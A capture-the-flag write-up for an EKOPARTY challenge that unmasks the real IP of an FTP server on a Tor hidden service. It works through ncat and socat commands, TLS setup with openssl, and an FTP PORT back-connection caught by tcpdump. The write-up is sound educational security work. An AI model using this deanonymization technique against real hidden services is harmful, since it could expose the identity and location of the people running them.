We need to connect to a FTP server on a tor hidden service.

First, let’s just try to netcat in:

$ ncat --proxy 127.0.0.1:9050 --proxy-type socks5 ekoftpitv7ifjqrh.onion 21
220 Welcome to Secure Upload Hidden Services 1.0
FEAT
211-Features:
 AUTH TLS
 UTF8
 EPRT
 EPSV
 MDTM
 PASV
 PBSZ
 PROT
 REST STREAM
 SIZE
 TVFS
211 End
USER anonymous
530 Anonymous sessions must use encryption.

So well, seems like we’re out of luck, and need to get AUTH TLS working. Good thing there’s a nice and readable RFC hhandy. Basically, we need to send AUTH TLS, then do our TLS negotiation. The good news is, openssl s_client can do that for us, the bad news is, it doesn’t want to use a SOCKS proxy. So I whip up some socat magic:

$ echo ncat --proxy 127.0.0.1:9050 --proxy-type socks5 ekoftpitv7ifjqrh.onion 21 > ./connect.sh
$ chmod +x ./connect.sh
$ socat tcp-l:7777,reuseaddr,fork system:'./connect.sh',nofork

Et voilà:

$ openssl s_client -connect localhost:7777 -starttls ftp
CONNECTED(00000003)
depth=0 /C=CO/ST=Buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
verify error:num=18:self signed certificate
verify return:1
depth=0 /C=CO/ST=Buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
verify return:1
---
Certificate chain
 0 s:/C=CO/ST=Buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
   i:/C=CO/ST=Buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIGHTCCBAWgAwIBAgIJAMx90MU+nYpiMA0GCSqGSIb3DQEBCwUAMIGkMQswCQYD
VQQGEwJDTzEVMBMGA1UECAwMQnVlbm9zIEFpcmVzMRUwEwYDVQQHDAxCdWVub3Mg
QWlyZXMxETAPBgNVBAoMCEVLT1BBUlRZMRIwEAYDVQQLDAlOVUxMIExpZmUxHDAa
BgNVBAMME25vdGhpbmcudG8uc2VlLmhlcmUxIjAgBgkqhkiG9w0BCQEWE3N0YWZm
QG51bGwtbGlmZS5jb20wHhcNMTYwODAzMDYzODU0WhcNMTcwODAzMDYzODU0WjCB
pDELMAkGA1UEBhMCQ08xFTATBgNVBAgMDEJ1ZW5vcyBBaXJlczEVMBMGA1UEBwwM
QnVlbm9zIEFpcmVzMREwDwYDVQQKDAhFS09QQVJUWTESMBAGA1UECwwJTlVMTCBM
aWZlMRwwGgYDVQQDDBNub3RoaW5nLnRvLnNlZS5oZXJlMSIwIAYJKoZIhvcNAQkB
FhNzdGFmZkBudWxsLWxpZmUuY29tMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIIC
CgKCAgEA0k4GwRGDrNXvkEv63H6an5PlBmhaipXQYQ/ha9alut+hwYJBl+7QQvO9
HRbGRx36QrNwh8WgTgM5hf296r+mtHFFwn08VfUX3c80ndu8nvsMi+YJ2VJTBRDn
Bl8q4NNPAFhf4uIzJ5ODYMAv0Rc5780PV+y7Ifn3M3XUhvK7Nxg5LsQ2NOR+l5OJ
3oKgHN+gJbZ2Z8sCDRw2+Y+ZSDpF3X68RYheKkNAiI9gu8+b/FP1bWcyIUNlAmV8
ZoJm5I8gDgOYyJ993qKg+7M4lz/tUGEOgylnAYAgmd2LTEOvbwFaeoRjGms+O84g
mHhVmIk6iYTsX1tZx33hasDOtm17fN4wHlcZMOsKhnmTCsYZskO6z/CtCnZ51t7p
S4vDV+AG9aCFCo35GxeeeNX5yWLXorMo8dP85vDKFvo2ULfDPHEZCA+Dt1yY8P8h
FTRljZYMOl36NctypYqLHhlP0xl/Uk75/gIBhtdhIUZN2Zx86qL731vACpdK3VdK
yFa8VQEkxQsjKuJZybLB5H+zb88M0jZVm6eCFh9mCgrgS6sJqy0j8u2A/XBAH1uJ
fNpbShaVvQMBc2+AJR8OHqfDhH7M0PIK7sh+e9vD2GniNt+CHWUkPuJ5HrWJzXlD
tLU32VYMQeZX9ZsIng3Ffr1iwHxCtIHp2OESJJIKEcfFskkjRq0CAwEAAaNQME4w
HQYDVR0OBBYEFJn+YrQyzt0AeOTiFDYFL5RNEoK1MB8GA1UdIwQYMBaAFJn+YrQy
zt0AeOTiFDYFL5RNEoK1MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggIB
AHmWtCiKHN4ZpC82Iw568AWlO+owD2bj5E6Z7038G5KadZlZl9jcSr1xW+LBhow1
82MnkVwGjr0cxsBsP9Ej+fxbYb76Z9LjDkgRiPb49Ny9nAiXpKuNhYDvBgcM6cls
QjxSw1e3btSBQeTMeyaXYi9MclLu6PLz11C19r8s3j1MiiCGgxYUDadvF2C0BKIu
EfpQ9PDjkCRyG7UC1Lwtpd+/YGsaXhOiceDGPKnc9XcBJyldCn+wMuthdGUAhorI
KZaueb6XmgccGX5WBAz8D70uvJjcsVUokBvA2D2aktLET6cB2d8ROJ3c8yFOLqE5
gDgCaQnYmCqEEBIG/MqvLd4wS0EoVWiB1JA9dJq6d9aEKC2Ko7H+BoiyY+Cj5TKW
wdB1T4lR6TZT28bOT9mqKuXT9zms1MquhKa1TrxJxkL8s8bESufrnlBiEmaPyDV9
k6AayVbA8WvbPdE9b1vtRukf03a03/ZRG/GrVoO53b6vddG44Zbbavhcv3hCYWoF
ScnVSOQckKf3m5QQ4u+CKmbP78VSWO4LtNwd9aoWt0MTDqTc1Y6fpmx+ZV6ikrE0
eb8Bt6Z7oXrXr3BK7ZbkmwoBe9PVTscdT5gsTPgt14HcJWQfB1RN9QDVkU9fWQ6g
dAj5aRChsKRgVPGr5G7VirldrHWWwbRZIAI0EnLypWNB
-----END CERTIFICATE-----
subject=/C=CO/ST=Buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
issuer=/C=CO/ST=Buenos Aires/L=Buenos Aires/O=EKOPARTY/OU=NULL Life/CN=nothing.to.see.here/emailAddress=staff@null-life.com
---
No client certificate CA names sent
---
SSL handshake has read 1829 bytes and written 734 bytes
---
New, TLSv1/SSLv3, Cipher is AES256-SHA
Server public key is 4096 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
    Cipher    : AES256-SHA
    Session-ID: 427F5C627AA043CA3B77D1449B70D3995CC6F44E3429F3398D3F5D8060D902BF
    Session-ID-ctx:
    Master-Key: 83DB21B2D98EB8AEDDACB6803B73AE9FA933C6720C779DFC19EB073F3F39E68BEDD41AFD77F135C80FE889F5AD6FD19F
    Key-Arg   : None
    Start Time: 1477612961
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
220 Welcome to Secure Upload Hidden Services 1.0
USER anonymous
331 Please specify the password.
PASS tasteless
230 Login successful.

So how are we going to do the deanonymization? Probably we can use PORT to make the server connect back to us, so let’s try to use that to our advantage, and ask the server to connect on port 1337 (1337 is 0x539, in two separate bytes that becomes 0x5,0x39 which is 5,59)

PORT XXX,XXX,XXX,XXX,5,57
200 PORT command successful. Consider using PASV.
LIST
522 Data connections must be encrypted.

… Aaand still no backconnect. Closer reading of the spec shows that we’ll have to negotiate data protection for the data connection first:

PORT XXX,XXX,XXX,XXX,5,57
200 PORT command successful. Consider using PASV.
PBSZ 0
200 PBSZ set to 0.
PROT P
200 PROT now Private.
LIST
150 Here comes the directory listing.

and as promised, the backconnect in tcpdump port 1337:

$ tcpdump port 1337
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
00:17:24.213102 IP ec2-52-55-103-18.compute-1.amazonaws.com.1337 > ubuntu-512mb-nyc3-01.1337: Flags [S], seq 3845226324, win 29200, options [mss 1460,sackOK,TS val 2717834 ecr 0,nop,wscale 7], length 0
00:17:24.213140 IP ubuntu-512mb-nyc3-01.1337 > ec2-52-55-103-18.compute-1.amazonaws.com.1337: Flags [S.], seq 2941498641, ack 3845226325, win 28960, options [mss 1460,sackOK,TS val 799935 ecr 2717834,nop,wscale 6], length 0
00:17:24.220770 IP ec2-52-55-103-18.compute-1.amazonaws.com.1337 > ubuntu-512mb-nyc3-01.1337: Flags [.], ack 1, win 229, options [nop,nop,TS val 2717836 ecr 799935], length 0

A quick domain dig gives us the flag:

EKO{52.55.103.18}

plonk